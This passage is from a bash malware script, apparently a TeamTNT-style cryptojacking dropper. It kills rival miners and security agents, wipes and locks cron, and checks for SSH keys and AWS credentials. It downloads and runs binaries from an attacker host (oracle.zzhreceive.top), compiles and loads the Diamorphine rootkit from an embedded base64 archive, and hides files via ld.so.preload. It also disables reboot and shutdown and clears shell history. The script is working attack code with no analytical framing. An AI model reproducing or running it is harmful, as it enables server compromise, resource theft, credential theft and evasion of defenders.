  456. rm -rf /tmp/gates.lod
  457. rm -rf /tmp/conf.n
  458. rm -rf /tmp/devtool
  459. rm -rf /tmp/devtools
  460. rm -rf /tmp/fs
  461. rm -rf /tmp/.rod
  462. rm -rf /tmp/.rod.tgz
  463. rm -rf /tmp/.rod.tgz.1
  464. rm -rf /tmp/.rod.tgz.2
  465. rm -rf /tmp/.mer
  466. rm -rf /tmp/.mer.tgz
  467. rm -rf /tmp/.mer.tgz.1
  468. rm -rf /tmp/.hod
  469. rm -rf /tmp/.hod.tgz
  470. rm -rf /tmp/.hod.tgz.1
  471. rm -rf /tmp/84Onmce
  472. rm -rf /tmp/C4iLM4L
  473. rm -rf /tmp/lilpip
  474. rm -rf /tmp/3lmigMo
  475. rm -rf /tmp/am8jmBP
  476. rm -rf /tmp/tmp.txt
  477. rm -rf /tmp/baby
  478. rm -rf /tmp/.lib
  479. rm -rf /tmp/systemd
  480. rm -rf /tmp/lib.tar.gz
  481. rm -rf /tmp/baby
  482. rm -rf /tmp/java
  483. rm -rf /tmp/j2.conf
  484. rm -rf /tmp/.mynews1234
  485. rm -rf /tmp/a3e12d
  486. rm -rf /tmp/.pt
  487. rm -rf /tmp/.pt.tgz
  488. rm -rf /tmp/.pt.tgz.1
  489. rm -rf /tmp/go
  490. rm -rf /tmp/java
  491. rm -rf /tmp/j2.conf
  492. rm -rf /tmp/.tmpnewasss
  493. rm -rf /tmp/java
  494. rm -rf /tmp/go.sh
  495. rm -rf /tmp/go2.sh
  496. rm -rf /tmp/khugepageds
  497. rm -rf /tmp/.censusqqqqqqqqq
  498. rm -rf /tmp/.kerberods
  499. rm -rf /tmp/kerberods
  500. rm -rf /tmp/seasame
  501. rm -rf /tmp/touch
  502. rm -rf /tmp/.p
  503. rm -rf /tmp/runtime2.sh
  504. rm -rf /tmp/runtime.sh
  505. rm -rf /dev/shm/z3.sh
  506. rm -rf /dev/shm/z2.sh
  507. rm -rf /dev/shm/.scr
  508. rm -rf /dev/shm/.kerberods
  509. rm -rf /tmp/watchdogs
  510. rm -rf /etc/cron.d/tomcat
  511. rm -rf /etc/rc.d/init.d/watchdogs
  512. rm -rf /usr/sbin/watchdogs
  513. rm -f /tmp/kthrotlds
  514. rm -f /etc/rc.d/init.d/kthrotlds
  515. rm -rf /tmp/.sysbabyuuuuu12
  516. rm -rf /tmp/logo9.jpg
  517. rm -rf /tmp/miner.sh
  518. rm -rf /tmp/nullcrew
  519. rm -rf /tmp/proc
  520. rm -rf /tmp/2.sh
  521. rm /opt/atlassian/confluence/bin/1.sh
  522. rm /opt/atlassian/confluence/bin/1.sh.1
  523. rm /opt/atlassian/confluence/bin/1.sh.2
  524. rm /opt/atlassian/confluence/bin/1.sh.3
  525. rm /opt/atlassian/confluence/bin/3.sh
  526. rm /opt/atlassian/confluence/bin/3.sh.1
  527. rm /opt/atlassian/confluence/bin/3.sh.2
  528. rm /opt/atlassian/confluence/bin/3.sh.3
  529. rm -rf /var/tmp/f41
  530. rm -rf /var/tmp/2.sh
  531. rm -rf /var/tmp/config.json
  532. rm -rf /var/tmp/xmrig
  533. rm -rf /var/tmp/1.so
  534. rm -rf /var/tmp/kworkerds3
  535. rm -rf /var/tmp/kworkerdssx
  536. rm -rf /var/tmp/kworkerds
  537. rm -rf /var/tmp/wc.conf
  538. rm -rf /var/tmp/nadezhda.
  539. rm -rf /var/tmp/nadezhda.arm
  540. rm -rf /var/tmp/nadezhda.arm.1
  541. rm -rf /var/tmp/nadezhda.arm.2
  542. rm -rf /var/tmp/nadezhda.x86_64
  543. rm -rf /var/tmp/nadezhda.x86_64.1
  544. rm -rf /var/tmp/nadezhda.x86_64.2
  545. rm -rf /var/tmp/sustse3
  546. rm -rf /var/tmp/sustse
  547. rm -rf /var/tmp/moneroocean/
  548. rm -rf /var/tmp/devtool
  549. rm -rf /var/tmp/devtools
  550. rm -rf /var/tmp/play.sh
  551. rm -rf /var/tmp/systemctI
  552. rm -rf /var/tmp/.java
  553. rm -rf /var/tmp/1.sh
  554. rm -rf /var/tmp/conf.n
  555. rm -r /var/tmp/lib
  556. rm -r /var/tmp/.lib
  557. chattr -iau /tmp/lok
  558. chmod +700 /tmp/lok
  559. rm -rf /tmp/lok
  560. sleep 1
  561. chattr -i /tmp/kdevtmpfsi
  562. echo 1 > /tmp/kdevtmpfsi
  563. chattr +i /tmp/kdevtmpfsi
  564. sleep 1
  565. chattr -i /tmp/redis2
  566. echo 1 > /tmp/redis2
  567. chattr +i /tmp/redis2
  568. chattr -ia /.Xll/xr
  569. >/.Xll/xr
  570. chattr +ia /.Xll/xr
  571. chattr -ia /etc/trace
  572. >/etc/trace
  573. chattr +ia /etc/trace
  574. chattr -ia /etc/newsvc.sh
  575. chattr -ia /etc/svc*
  576. chattr -ia /tmp/newsvc.sh
  577. chattr -ia /tmp/svc*
  578. >/etc/newsvc.sh
  579. >/etc/svcupdate
  580. >/etc/svcguard
  581. >/etc/svcworkmanager
  582. >/etc/svcupdates
  583. >/tmp/newsvc.sh
  584. >/tmp/svcupdate
  585. >/tmp/svcguard
  586. >/tmp/svcworkmanager
  587. >/tmp/svcupdates
  588. chattr +ia /etc/newsvc.sh
  589. chattr +ia /etc/svc*
  590. chattr +ia /tmp/newsvc.sh
  591. chattr +ia /tmp/svc*
  592. sleep 1
  593. chattr -ia /etc/phpupdate
  594. chattr -ia /etc/phpguard
  595. chattr -ia /etc/networkmanager
  596. chattr -ia /etc/newdat.sh
  597. >/etc/phpupdate
  598. >/etc/phpguard
  599. >/etc/networkmanager
  600. >/etc/newdat.sh
  601. chattr +ia /etc/phpupdate
  602. chattr +ia /etc/phpguard
  603. chattr +ia /etc/networkmanager
  604. chattr +ia /etc/newdat.sh
  605. chattr -ia /etc/zzh
  606. chattr -ia /etc/newinit
  607. >/etc/zzh
  608. >/etc/newinit
  609. chattr +ia /etc/zzh
  610. chattr +ia /etc/newinit
  611. sleep 1
  612. chattr -i /usr/lib/systemd/systemd-update-daily
  613. echo 1 > /usr/lib/systemd/systemd-update-daily
  614. chattr +i /usr/lib/systemd/systemd-update-daily
  615. #yum install -y docker.io || apt-get install docker.io;
  616. docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
  617. docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
  618. docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
  619. docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
  620. docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
  621. docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
  622. docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
  623. docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
  624. docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
  625. docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
  626. docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
  627. docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
  628. docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
  629. docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
  630. docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
  631. docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
  632. docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
  633. docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
  634. docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
  635. docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
  636. docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
  637. #echo SELINUX=disabled >/etc/selinux/config
  638. service apparmor stop
  639. systemctl disable apparmor
  640. service aliyun.service stop
  641. systemctl disable aliyun.service
  642. systemctl disable pnsd.service
  643. systemctl disable apache4.service
  644. systemctl stop pnsd.service
  645. service stop pnsd.service
  646. systemctl stop apache4.service
  647. service stop apache4.service
  648. sudo systemctl stop pastebin.service
  649. sudo systemctl stop xvf.service
  650. sudo systemctl daemon-reload
  651. sudo systemctl stop xvf.service
  652. sudo systemctl stop pastebin.service
  653. sudo systemctl disable xvf.service
  654. sudo systemctl disable pastebin.service
  655. sudo systemctl disable c3pool_miner.service
  656. sudo systemctl stop c3pool_miner.service
  657. rm -rf /var/.httpd/*
  658. rm -rf /etc/.httpd/*
  659. rm -rf /var/tmp/.crypto/
  660. rm -rf /var/tmp/.apache/*
  661. rm -rf /usr/share/\[ddns\]*
  662. ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
  663. ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
  664. rm -rf /usr/local/aegis
  665. chattr -R -ia /var/spool/cron
  666. chattr -ia /etc/crontab
  667. chattr -R -ia /etc/cron.d
  668. chattr -R -ia /var/spool/cron/crontabs
  669. crontab -r
  670. rm -rf /var/spool/cron/*
  671. rm -rf /etc/cron.d/*
  672. rm -rf /var/spool/cron/crontabs
  673. rm -rf /etc/crontab
  674. }
  675. kill_miner_proc
  676. kill_sus_proc()
  677. {
  678. ps axf -o "pid"|while read procid
  679. do
  680. ls -l /proc/$procid/exe | grep /tmp
  681. if [ $? -ne 1 ]
  682. then
  683. cat /proc/$procid/cmdline| grep -a -E "kswapd0"
  684. if [ $? -ne 0 ]
  685. then
  686. kill -9 $procid
  687. else
  688. echo "don't kill"
  689. fi
  690. fi
  691. done
  692. ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
  693. do
  694. cat /proc/$procid/cmdline| grep -a -E "kswapd0"
  695. if [ $? -ne 0 ]
  696. then
  697. kill -9 $procid
  698. else
  699. echo "don't kill"
  700. fi
  701. done
  702. }
  703. kill_sus_proc
  704. #FixTheSystem
  705. function SetupNameServers(){
  706. grep -q 8.8.8.8 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht +i /etc/resolv.conf 2>/dev/null 1>/dev/null
  707. grep -q 8.8.4.4 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht +i /etc/resolv.conf 2>/dev/null 1>/dev/null
  708. }
  709. SetupNameServers
  710. chattr -iR /var/spool/cron/
  711. tntrecht -iR /var/spool/cron/
  712. crontab -r
  713. function clean_cron(){
  714. chattr -R -ia /var/spool/cron
  715. tntrecht -R -ia /var/spool/cron
  716. chattr -ia /etc/crontab
  717. tntrecht -ia /etc/crontab
  718. chattr -R -ia /etc/cron.d
  719. tntrecht -R -ia /etc/cron.d
  720. chattr -R -ia /var/spool/cron/crontabs
  721. tntrecht -R -ia /var/spool/cron/crontabs
  722. crontab -r
  723. rm -rf /var/spool/cron/*
  724. rm -rf /etc/cron.d/*
  725. rm -rf /var/spool/cron/crontabs
  726. rm -rf /etc/crontab
  727. }
  728. clean_cron
  729. function lock_cron()
  730. {
  731. chattr -R +ia /var/spool/cron
  732. tntrecht -R +ia /var/spool/cron
  733. touch /etc/crontab
  734. chattr +ia /etc/crontab
  735. tntrecht +ia /etc/crontab
  736. chattr -R +ia /var/spool/cron/crontabs
  737. tntrecht -R +ia /var/spool/cron/crontabs
  738. chattr -R +ia /etc/cron.d
  739. tntrecht -R +ia /etc/cron.d
  740. }
  741. lock_cron
  742. function CheckAboutSomeKeys(){
  743. if [ -f "/root/.ssh/id_rsa" ]
  744. then
  745. echo 'found: /root/.ssh/id_rsa'
  746. fi
  747. if [ -f "/home/*/.ssh/id_rsa" ]
  748. then
  749. echo 'found: /home/*/.ssh/id_rsa'
  750. fi
  751. if [ -f "/root/.aws/credentials" ]
  752. then
  753. echo 'found: /root/.aws/credentials'
  754. fi
  755. if [ -f "/home/*/.aws/credentials" ]
  756. then
  757. echo 'found: /home/*/.aws/credentials'
  758. fi
  759. }
  760. CheckAboutSomeKeys
  761. function back(){
  762. if [ -f "/usr/bin/bioset" ]; then
  763. echo 'FOUND: bioset'
  764. else
  765. echo 'MISSING: bioset'
  766. loadthisfile http://oracle.zzhreceive.top/b/apa.jpg /usr/bin/bioset
  767. chmod +x /usr/bin/bioset
  768. cd /usr/bin && ./bioset
  769. fi
  770. }
  771. function hid(){
  772. DIA_TAR='H4sIAHgF8GAAA+0ba3PbNjJfxV+BKomHVGRbshWlj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x/3nkb2VcctExHrWYp/uJYl/yvIX7ai4qFz7zYaIPztVPhTkhvmsZpC9NxEqckml6snRFTi3kkp+1QIS8aC6XboZt+ifBl9FR/VPERb5Wc399NV5mGOTFOgHeHtPDgXozVgiG7UmirRGqom2ifRw2F/cHw6UOt7IWy9X5/ube6fHGJgEf2752dvR2O1vmzZuplp3xuc9sfDkzOMHPXDgyOCNfDc4tHxr37eWsEtsJF7/z37Kjxufv/dam+1tkrvv59X77+/CchuiT4rREB+d0UIv1Po3dDN7wdK3dGpEkkPtmMM/jAvA9GpPj9HuMZ6RTyLzd4Z5B4QUyhrIVXUU9Tshp20PrWFjWVoRUHrePdokCMFNJgdLvFEIT5LgHC83W7y33yXD7+7neh3vJXHpu1mJKx4GZ1WnQnPTCHquFiG41muGh/8QkqzMRGYlDx+TGIEKHlvQsAvccClafd/3P68+aKJjyyFgLlXlqRdegcePVTkD9rzR4pRB/wBRYDmcA03og1K/CKyLite66gxIfRf7QH/37CxeaTPGV5Wfj0et8T/1taLbiH+t7efd6v4/y3AufhtfUle4tVjWgY4Sr+P23nDIOu/4tN75WBvOEaszYV1If4rkL/5RPVnDHpD7urrnrZ5EVoLUzn5dQ9x4273I5TlCpB5qdSeqEe7BwONrPehG4lq5GjniQoj4uNPX1F4aXoLMsepYkcFFVRQQQUVVFBBBRVUUEEFFVRQQQUVVFBBBRVUUEEJ/gv14/jOAFAAAA=='
  773. CHECK_WHOAMI=`whoami`
  774. function old_school_hide(){
  775. echo "bash hide"
  776. }
  777. function setup_dia(){
  778. chattr -ia / /etc/ /tmp/ /var/ /var/tmp/ 2>/dev/null
  779. chattr -R -ia /tmp/ /var/tmp/ 2>/dev/null
  780. chmod 1777 /tmp/ /var/tmp/ 2>/dev/null
  781. if type yum 2>/dev/null 1>/dev/null; then yum clean all ; yum -y install gcc make kmod ; yum -y install epel-release ;yum -y install elfutils-libelf-devel; yum list|grep kernel-devel|awk '{print $1}'|xargs yum -y install; fi
  782. if type apt 2>/dev/null 1>/dev/null; then apt update --fix-missing ; apt-get -y install gcc make kmod ; apt-get -y install elfutils-libelf-devel;apt-get -y install linux-headers-$(uname -r) ; fi
  783. if type apk 2>/dev/null 1>/dev/null; then apk update 2>/dev/null 1>/dev/null; apk add linux-headers 2>/dev/null ; fi
  784. if [ ! -d "/var/tmp/.../dia/" ]; then mkdir -p /var/tmp/.../dia/ ; fi
  785. echo $DIA_TAR | base64 -d > /var/tmp/.../dia/dia.tar.gz
  786. tar xvf /var/tmp/.../dia/dia.tar.gz -C /var/tmp/.../dia/
  787. rm -f /var/tmp/.../dia/dia.tar.gz
  788. cd /var/tmp/.../dia/
  789. kdir=/usr/src/kernels/$(uname -r)/
  790. test -d /lib/modules/$(uname -r)/build
  791. if [ $? -ne 0 ]
  792. then
  793. echo "build directory not exist,try to create soft link to /usr/src/kernels/"
  794. test -d $kdir
  795. if [ $? -ne 0 ]
  796. then
  797. echo "uname -r result is not eqel exist kernel version,try to link other version "
  798. for kdir in $(ls -lrt /usr/src/kernels/|grep -v total|awk '{print $NF}')
  799. do
  800. cd /lib/modules/$(uname -r)/ && rm -rf build && ln -s /usr/src/kernels/$kdir/ ./build
  801. cd /var/tmp/.../dia && make
  802. done
  803. else
  804. cd /lib/modules/$(uname -r)/ && rm -rf build && ln -s /usr/src/kernels/$kdir/ ./build
  805. cd /var/tmp/.../dia && make
  806. fi
  807. else
  808. echo "build directory exist ,eqel kernel version"
  809. cd /var/tmp/.../dia && make
  810. fi
  811. if [ -f "/var/tmp/.../dia/diamorphine.ko" ]; then
  812. insmod diamorphine.ko
  813. ROOTMO=`ps aux | grep -v grep | grep '/var/tmp/.copydie/\[kswapd0\].pid' | awk '{print $2}')`
  814. if [ ! -z "$ROOTMO" ]; then kill -31 $ROOTMO ; fi
  815. else echo 'build dia fail!'
  816. old_school_hide
  817. fi
  818. }
  819. if [ "$CHECK_WHOAMI" = "root" ]; then setup_dia ; fi
  820. history -c
  821. clear
  822. }
  823. function loadthisfile(){
  824. GETFROM=$1
  825. PUTITTO=$2
  826. if [ -f "$PUTITTO" ]; then mchattr -i $PUTITTO 2>/dev/null 1>/dev/null ; chattr -i $PUTITTO 2>/dev/null 1>/dev/null ; tntrecht -i $PUTITTO 2>/dev/null 1>/dev/null ; rm -f $PUTITTO 2>/dev/null 1>/dev/null ; fi
  827. curl -L --progress-bar $GETFROM -o $PUTITTO || cur -L --progress-bar $GETFROM -o $PUTITTO || cdl -L --progress-bar $GETFROM -o $PUTITTO || wget $GETFROM -O $PUTITTO || wge $GETFROM -O $PUTITTO || wdl $GETFROM -O $PUTITTO
  828. }
  829. function SecureTheSystem(){
  830. if [ -f /usr/local/lib/kswapd0.so ]
  831. then
  832. echo "hide file exist" 2>/dev/null 1>/dev/null
  833. grep kswapd0.so /etc/ld.so.preload
  834. if [ $? != 0 ]
  835. then
  836. chattr -ia /etc/ld.so.preload|| tntrecht -ia /etc/ld.so.preload
  837. echo -e "/usr/local/lib/pscan.so\n/usr/local/lib/bioset.so\n/usr/local/lib/mscan.so\n/usr/local/lib/kswapd0.so\n/usr/local/lib/zrab.so" >/etc/ld.so.preload
  838. chattr +ia /etc/ld.so.preload|| tntrecht +ia /etc/ld.so.preload
  839. else
  840. echo "hided"
  841. fi
  842. else
  843. grep kswapd0.so /etc/ld.so.preload
  844. if [ $? != 0 ]
  845. then
  846. chattr -ia /etc/ld.so.preload|| tntrecht -ia /etc/ld.so.preload
  847. echo -e "/usr/local/lib/pscan.so\n/usr/local/lib/bioset.so\n/usr/local/lib/mscan.so\n/usr/local/lib/kswapd0.so\n/usr/local/lib/zrab.so" >/etc/ld.so.preload
  848. chattr +ia /etc/ld.so.preload|| tntrecht +ia /etc/ld.so.preload
  849. else
  850. echo "hided"
  851. fi
  852. loadthisfile http://oracle.zzhreceive.top/hide/hide.jpg /tmp/hide.tar && tar -xf /tmp/hide.tar -C /usr/local/lib/ && rm -f /tmp/hide.tar
  853. chattr +ia /usr/local/lib/pscan.so || tntrecht +ia /usr/local/lib/pscan.so
  854. chattr +ia /usr/local/lib/mscan.so || tntrecht +ia /usr/local/lib/mscan.so
  855. chattr +ia /usr/local/lib/bioset.so || tntrecht +ia /usr/local/lib/bioset.so
  856. chattr +ia /usr/local/lib/kswapd0.so || tntrecht +ia /usr/local/lib/kswapd0.so
  857. chattr +ia /usr/local/lib/zrab.so || tntrecht +ia /usr/local/lib/zrab.so
  858. fi
  859. }
  860. function LockDownTheSystem(){
  861. LOCKDOWNARRAY=(shutdown reboot poweroff telinit)
  862. for LOCKDOWN in ${LOCKDOWNARRAY[@]}; do
  863. LOCKDOWNBIN=`which $LOCKDOWN` 2>/dev/null 1>/dev/null
  864. chattr -i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  865. tntrecht -i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  866. chattr -x $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  867. #chmod 000 $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  868. chattr +i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  869. tntrecht +i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  870. done
  871. chattr +i /proc/sysrq-trigger 2>/dev/null 1>/dev/null
  872. tntrecht +i /proc/sysrq-trigger 2>/dev/null 1>/dev/null
  873. LOCKDOWNFILES=("/lib/systemd/system/reboot.target" "/lib/systemd/system/systemd-reboot.service")
  874. for LOCKDOWNFILE in ${LOCKDOWNFILES[@]}; do
  875. chattr -i $LOCKDOWNFILE 2>/dev/null 1>/dev/null
  876. tntrecht -i $LOCKDOWNFILE 2>/dev/null 1>/dev/null
  877. chattr -x $LOCKDOWNFILE 2>/dev/null 1>/dev/null
  878. > $LOCKDOWNFILE
  879. rm -f $LOCKDOWNFILE 2>/dev/null 1>/dev/null
  880. done
  881. }
  882. function KILLMININGSERVICES(){
  883. echo "[*] Removing previous miner (if any)"
  884. killall -9 xmrig
  885. echo "do KILLMININGSERVICES"
  886. $(docker rm $(docker ps | grep -v grep | grep "/bin/bash -c 'apt" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  887. #$(docker rm $(docker ps | grep -v grep | grep "/bin/bash" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  888. $(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  889. $(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  890. $(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  891. $(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  892. rm -f /usr/bin/docker-update 2>/dev/null 1>/dev/null
  893. pkill -f /usr/bin/docker-update 2>/dev/null 1>/dev/null
  894. killall -9 docker-update 2>/dev/null 1>/dev/null
  895. rm -f /usr/bin/redis-backup 2>/dev/null 1>/dev/null
  896. pkill -f /usr/bin/redis-backup 2>/dev/null 1>/dev/null
  897. killall -9 redis-backup 2>/dev/null 1>/dev/null
  898. rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
  899. pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
  900. rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null
  901. killall -9 xmrig 2>/dev/null 1>/dev/null
  902. LOCKFILE='IyEvYmluL2Jhc2gKZWNobyAnRm9yYmlkZGVuIGFjdGlvbiAhISEgVGVhbVROVCBpcyB3YXRjaGluZyB5b3UhJw=='
  903. if [ ! -f /usr/bin/tntrecht ]; then
  904. chattrbin=`which chattr`
  905. cp $chattrbin /usr/bin/tntrecht 2>/dev/null 1>/dev/null
  906. chmod +x /usr/bin/tntrecht 2>/dev/null 1>/dev/null
  907. chmod -x $chattrbin 2>/dev/null 1>/dev/null
  908. tntrecht +i $chattrbin 2>/dev/null 1>/dev/null
  909. fi
  910. LOCKFILE='IyEvYmluL2Jhc2gKZWNobyAnRm9yYmlkZGVuIGFjdGlvbiAhISEgVGVhbVROVCBpcyB3YXRjaGluZyB5b3UhJw=='
  911. if [ -f /root/.tmp/xmrig ]; then
  912. chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null
  913. tntrecht -iR /root/.tmp/ 2>/dev/null 1>/dev/null
  914. tmpxmrig=("/root/.tmp/config.json" "/root/.tmp/config_background.json" "/root/.tmp/xmrig.log" "/root/.tmp/miner.sh" "/root/.tmp/xmrig")
  915. for tmpxmrigfile in ${tmpxmrig[@]}; do
  916. rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  917. pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  918. kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
  919. echo $LOCKFILE | base64 -d > $tmpxmrigfile
  920. chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null
  921. chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null
  922. tntrecht +i $tmpxmrigfile 2>/dev/null 1>/dev/null
  923. pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  924. kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
  925. killall $tmpxmrigfile 2>/dev/null 1>/dev/null
  926. chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  927. rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  928. chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  929. tntrecht +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  930. pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  931. ps ax| grep xmrig 2>/dev/null 1>/dev/null
  932. done
  933. fi
  934. if [ -f /usr/sbin/cpumon ]; then
  935. cpumonxmr=("/usr/sbin/cpumon" "/usr/cpu")
  936. for cpumonfile in ${cpumonxmr[@]}; do
  937. chattr -i $cpumonfile 2>/dev/null 1>/dev/null
  938. tntrecht -i $cpumonfile 2>/dev/null 1>/dev/null
  939. rm -f $cpumonfile 2>/dev/null 1>/dev/null
  940. pkill -f $cpumonfile 2>/dev/null 1>/dev/null
  941. kill $(pidof $cpumonfile) 2>/dev/null 1>/dev/null
  942. echo $LOCKFILE | base64 -d > $cpumonfile
  943. chmod +x $cpumonfile 2>/dev/null 1>/dev/null
  944. chattr +i $cpumonfile 2>/dev/null 1>/dev/null
  945. tntrecht +i $cpumonfile 2>/dev/null 1>/dev/null
  946. pkill -f $cpumonfile 2>/dev/null 1>/dev/null
  947. kill $(pidof $cpumonfile) 2>/dev/null 1>/dev/null
  948. killall $cpumonfile 2>/dev/null 1>/dev/null
  949. done
  950. fi
  951. if [ -f /opt/server ]; then
  952. chattr -i /opt/server 2>/dev/null 1>/dev/null
  953. tntrecht -i /opt/server 2>/dev/null 1>/dev/null
  954. rm -f /opt/server 2>/dev/null 1>/dev/null
  955. pkill -f /opt/server 2>/dev/null 1>/dev/null
  956. kill $(pidof /opt/server) 2>/dev/null 1>/dev/null
  957. fi
  958. if [ -f /tmp/log_rotari ]; then
  959. chattr -i /tmp/log_rotari 2>/dev/null 1>/dev/null
  960. tntrecht -i /tmp/log_rotari 2>/dev/null 1>/dev/null
  961. rm -f /tmp/log_rotari 2>/dev/null 1>/dev/null
  962. pkill -f /tmp/log_rotari 2>/dev/null 1>/dev/null
  963. kill $(pidof /tmp/log_rotari) 2>/dev/null 1>/dev/null
  964. fi
  965. BASH00=$(ps ax | grep -v grep | grep "/root/.tmp00/bash")
  966. if [ ! -z "$BASH00" ];
  967. then
  968. chattr -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  969. tntrecht -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  970. chmod 1777 /var/spool/cron/root 2>/dev/null 1>/dev/null
  971. chmod -x /var/spool/cron/root 2>/dev/null 1>/dev/null
  972. echo " " > /var/spool/cron/root 2>/dev/null 1>/dev/null
  973. rm -f /var/spool/cron/root 2>/dev/null 1>/dev/null
  974. chattr -i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  975. tntrecht -i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  976. chmod -x /root/.tmp00/bash 2>/dev/null 1>/dev/null
  977. pkill -f /root/.tmp00/bash 2>/dev/null 1>/dev/null
  978. kill $(ps ax | grep -v grep | grep "/root/.tmp00/bash" | awk '{print $1}') 2>/dev/null 1>/dev/null
  979. kill $(pidof /root/.tmp00/bash) 2>/dev/null 1>/dev/null
  980. echo " " > /root/.tmp00/bash 2>/dev/null 1>/dev/null
  981. rm -f /root/.tmp00/bash 2>/dev/null 1>/dev/null
  982. echo $StringToLock > /root/.tmp00/bash
  983. chattr +i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  984. tntrecht +i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  985. history -c 2>/dev/null 1>/dev/null
  986. fi
  987. BASH6400=$(ps ax | grep -v grep | grep "/root/.tmp00/bash64")
  988. if [ ! -z "$BASH6400" ];
  989. then
  990. chattr -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  991. tntrecht -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  992. chmod 1777 /var/spool/cron/root 2>/dev/null 1>/dev/null
  993. chmod -x /var/spool/cron/root 2>/dev/null 1>/dev/null
  994. echo " " > /var/spool/cron/root 2>/dev/null 1>/dev/null
  995. rm -f /var/spool/cron/root 2>/dev/null 1>/dev/null
  996. chattr -i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  997. tntrecht -i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  998. chmod -x /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  999. pkill -f /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1000. kill $(ps ax | grep -v grep | grep "/root/.tmp00/bash64" | awk '{print $1}') 2>/dev/null 1>/dev/null
  1001. kill $(pidof /root/.tmp00/bash64) 2>/dev/null 1>/dev/null
  1002. echo " " > /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1003. rm -f /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1004. echo $StringToLock > /root/.tmp00/bash64
  1005. chattr +i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1006. tntrecht +i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1007. history -c 2>/dev/null 1>/dev/null
  1008. fi
  1009. KINSING1=$(ps ax | grep -v grep | grep "/var/tmp/kinsing")
  1010. if [ ! -z "$KINSING1" ];
  1011. then
  1012. chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1013. tntrecht -i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1014. chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null
